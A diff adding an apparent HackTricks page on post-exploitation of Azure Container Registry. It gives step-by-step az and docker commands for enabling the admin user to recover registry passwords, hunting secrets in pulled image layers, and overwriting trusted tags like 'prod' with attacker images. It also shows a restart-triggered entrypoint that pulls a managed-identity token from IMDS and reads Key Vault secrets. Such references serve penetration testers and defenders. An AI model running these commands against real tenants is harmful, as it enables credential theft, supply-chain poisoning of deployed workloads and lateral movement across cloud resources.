|
| 1 | +# Az - Container Registry Post Exploitation |
| 2 | + |
| 3 | +{{#include ../../../banners/hacktricks-training.md}} |
| 4 | + |
| 5 | +## Azure Container Registry |
| 6 | + |
| 7 | +For more information about this service check: |
| 8 | + |
| 9 | +{{#ref}} |
| 10 | +../az-services/az-container-registry.md |
| 11 | +{{#endref}} |
| 12 | + |
| 13 | +### `Microsoft.ContainerRegistry/registries/listCredentials/action`, `Microsoft.ContainerRegistry/registries/write` |
| 14 | + |
| 15 | +An identity with ACR management-plane access can convert that access into **reusable Docker credentials**. If the **admin user** is disabled but the principal also has `registries/write`, enable it, recover the passwords, and authenticate directly against `<registry>.azurecr.io`. |
| 16 | + |
| 17 | +```bash |
| 18 | +az acr show --resource-group <resource-group> --name <registry-name> --query adminUserEnabled |
| 19 | +az acr update --resource-group <resource-group> --name <registry-name> --admin-enabled true |
| 20 | +az acr credential show -n <registry-name> |
| 21 | +docker login <registry-name>.azurecr.io -u <username> -p <password> |
| 22 | +``` |
| 23 | + |
| 24 | +This is useful because the recovered credentials can be reused outside the Azure CLI to **list, pull, push, overwrite, and sometimes delete** registry content until the admin account is disabled or the passwords are rotated. |
| 25 | + |
| 26 | +### `Microsoft.ContainerRegistry/registries/pull/read` |
| 27 | + |
| 28 | +Use pull access for **repository reconnaissance** and **secret hunting** inside images. Review both the final container configuration and the historical filesystem layers because files copied in one layer may remain recoverable even if deleted later. |
| 29 | + |
| 30 | +```bash |
| 31 | +az acr repository list -n <registry-name> |
| 32 | +az acr repository show-tags -n <registry-name> --repository <repository> --detail |
| 33 | +docker pull <registry-name>.azurecr.io/<repository>:<tag> |
| 34 | + |
| 35 | +container_id=$(docker create <registry-name>.azurecr.io/<repository>:<tag>) |
| 36 | +docker cp "$container_id":/ ./extracted_container |
| 37 | +docker rm "$container_id" |
| 38 | +docker inspect <registry-name>.azurecr.io/<repository>:<tag> | jq -r '.[0].Config.Env[]?' |
| 39 | +dive <registry-name>.azurecr.io/<repository>:<tag> |
| 40 | +``` |
| 41 | + |
| 42 | +High-value targets include **environment variables**, **application configs**, **deployment scripts**, **certificates**, **access tokens**, and **connection strings**. For more ideas while reviewing layers, check the Docker forensics page: |
| 43 | + |
| 44 | +{{#ref}} |
| 45 | +https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html |
| 46 | +{{#endref}} |
| 47 | + |
| 48 | +### `Microsoft.ContainerRegistry/registries/push/write` |
| 49 | + |
| 50 | +Push access lets an attacker **poison trusted repositories** or **overwrite mutable tags** such as `latest`, `prod`, or `stable`. Any workload that still deploys by tag instead of digest may pull the attacker image on the next deployment, scale-out event, or restart. |
| 51 | + |
| 52 | +```bash |
| 53 | +# Retag an existing local image for the target ACR |
| 54 | + |
| 55 | +docker tag <local-image>:<local-tag> <registry-name>.azurecr.io/<repository>:<trusted-tag> |
| 56 | +docker push <registry-name>.azurecr.io/<repository>:<trusted-tag> |
| 57 | + |
| 58 | +# If your workstation architecture differs from the target runtime, build for the consumer platform first |
| 59 | + |
| 60 | +docker buildx build --platform linux/amd64 -t <registry-name>.azurecr.io/<repository>:<trusted-tag> --load . |
| 61 | +docker push <registry-name>.azurecr.io/<repository>:<trusted-tag> |
| 62 | +``` |
| 63 | + |
| 64 | +Before replacing a tag, verify which repositories and tags are actually consumed by downstream workloads. **Digest-pinned** consumers (`@sha256:...`) are much harder to redirect than tag-based consumers. |
| 65 | + |
| 66 | +### `Microsoft.ContainerRegistry/registries/push/write`, `Microsoft.ContainerInstance/containerGroups/restart/action` |
| 67 | + |
| 68 | +If you can both **replace the image** used by a downstream container workload and **restart** that workload, the malicious entrypoint executes inside the target container's **network and managed identity context**. From there, the image can request tokens from IMDS and access Azure resources reachable by that workload identity. |
| 69 | + |
| 70 | +```bash |
| 71 | +TOKEN=$(curl -s -H Metadata:true 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net' | jq -r .access_token) |
| 72 | +curl -H "Authorization: Bearer $TOKEN" \ |
| 73 | + 'https://<vault-name>.vault.azure.net/secrets/<secret-name>?api-version=7.4' |
| 74 | +az container restart --resource-group <resource-group> --name <container-name> |
| 75 | +``` |
| 76 | + |
| 77 | +This turns an ACR tag overwrite into **code execution**, **secret theft**, or **lateral movement** inside any container consumer that trusts the modified tag and exposes a useful identity. |
| 78 | + |
| 79 | +### Related privesc path: ACR Tasks managed identities |
| 80 | + |
| 81 | +If you also have `Microsoft.ContainerRegistry/registries/tasks/write` and `Microsoft.ContainerRegistry/registries/runs/write`, move to the ACR privesc path and abuse the task's managed identity directly: |
| 82 | + |
| 83 | +{{#ref}} |
| 84 | +../az-privilege-escalation/az-container-registry-privesc.md |
| 85 | +{{#endref}} |
| 86 | + |
| 87 | +## References |
| 88 | + |
| 89 | +- [TrustedSec - Pandora's Container Part 1: Unpacking Azure Container Security](https://trustedsec.com/blog/pandoras-container-part-1-unpacking-azure-container-security) |
| 90 | +- [Microsoft Learn - Azure Container Registry authentication](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication) |
| 91 | +- [Microsoft Learn - az acr credential](https://learn.microsoft.com/en-us/cli/azure/acr/credential?view=azure-cli-latest) |
| 92 | +- [Microsoft Learn - az acr repository](https://learn.microsoft.com/en-us/cli/azure/acr/repository?view=azure-cli-latest) |
| 93 | +- [Microsoft Learn - ACR Tasks YAML reference](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-tasks-reference-yaml) |
| 94 | + |
| 95 | +{{#include ../../../banners/hacktricks-training.md}} |
0 commit comments